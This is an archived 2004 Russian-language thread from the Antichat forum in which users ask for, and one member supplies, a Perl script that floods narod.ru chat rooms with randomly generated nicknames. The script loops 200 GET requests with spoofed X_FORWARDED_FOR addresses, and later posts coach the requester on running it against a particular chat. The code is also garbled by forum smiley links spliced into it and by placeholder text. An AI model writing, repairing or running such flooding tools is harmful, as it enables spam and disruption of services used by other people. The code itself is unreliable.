Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Чаты (https://forum.antichat.xyz/forumdisplay.php?f=10)
-   -   Флуд никами в чатах народ.ру (https://forum.antichat.xyz/showthread.php?t=2396)

03.08.2004 21:27

Уже долгое время ищу скрипт для флуда никами в чатах на народ.ру. Попадались исходники скрипта но я не смог подстроить их под "народные" чаты, помогите пожалуйста со скриптом, я думаю для человека который в этом разбирается написать такой скрипт не составит труда, или может у когото уже есть готовый?

Буду очень благодарен за помощь.

Мое мыло kain.4a@mail.ru

KaiN.4a 03.08.2004 21:48

Попасть на список чатов можно например вот по этой ссылке

http://narod.yandex.ru/chat....d=49004

Fr1k 04.08.2004 10:16

Лови скрипт моего производства...
писал быстро если чё не работает пиши...
чё не понятно пиши...


Код:

#!/usr/bin/perl
print "Contept-Type: text/html\n\n";
use Socket;
$host="ХОСТ ЧАТА НА НАРОД РУ";
$port="80";
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp&#39http://forum.antichat.ru/iB_html/non...icons/wink.gif);
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);
connect(SOCK, $paddr);
@mass = (НИКГЕНЕРИРуЕМЫЙ', 'IP:&#39http://forum.antichat.ru/iB_html/non...icons/wink.gif;
$nickrand = @mass[0];
for($a=0;$a<200;$a++)
{  
  $iprand = int(rand(255));
  $iprand1 = int(rand(255));
  $iprand2 = int(rand(255));
  $iprand3 = int(rand(255));  
  $randnick = int(rand(100));
  $nick = "@mass[0]$randnick";
  send(SOCK, "GET полный путь к чату со входом ника, только ник не пиши заметсо ника поставь - $nick HTTP/1.1\nREFERER: http://путь до начала главного скрипта чата\nX_FORWARDED_FOR: IP\nHost: http://хост чата\n\n", 0);
}
 print "Wait: send packets...\n";
 print "$a\n";
 print <SOCK>;
 close(SOCK);
 print "Reserved:$a:$i\n";
 print "CLOSED... press key";
    
<>;


Че Гевара 04.08.2004 10:59

Отредактируй сообщение.

Либо окружи код [co de] [/co de]

Либо убери галочку с опции "Я хочу использовать смайлики в этом сообщении" ...

Fr1k 04.08.2004 14:29

ok

don Kain 04.08.2004 22:11

Объестните пожалуйста как использовать данный скрипт, куда его подставлять? Буду очень благодарен за ответ.

Fr1k 05.08.2004 11:01

береёшь сохраняешь скрипт у себя в файле с расширением .pl прописываешь где я обозначил пути к чату и вход ника! Ставищьь интерпретатор перловый ActivePerl скачать его можна с perl.com

если чё непонял дай ссылку конкретно твоего чата я пути сделаю...

KaiN.4a 05.08.2004 11:03

frika, я тоже не понял, с этим народ.ру сплошные заморочки, там нужен специальный скрипт.
Это не работает...

KaiN.4a 05.08.2004 11:27

"полный путь к чату со входом ника, только ник не пиши заметсо ника поставь  - $nick"

Дело в том что вместо ника ставится ID

Fr1k 05.08.2004 13:36

скажи конкретно комнату на народе... я сам посмотрю... ну а заместо ника значит будим генерировать айди... не проблема


Время: 12:43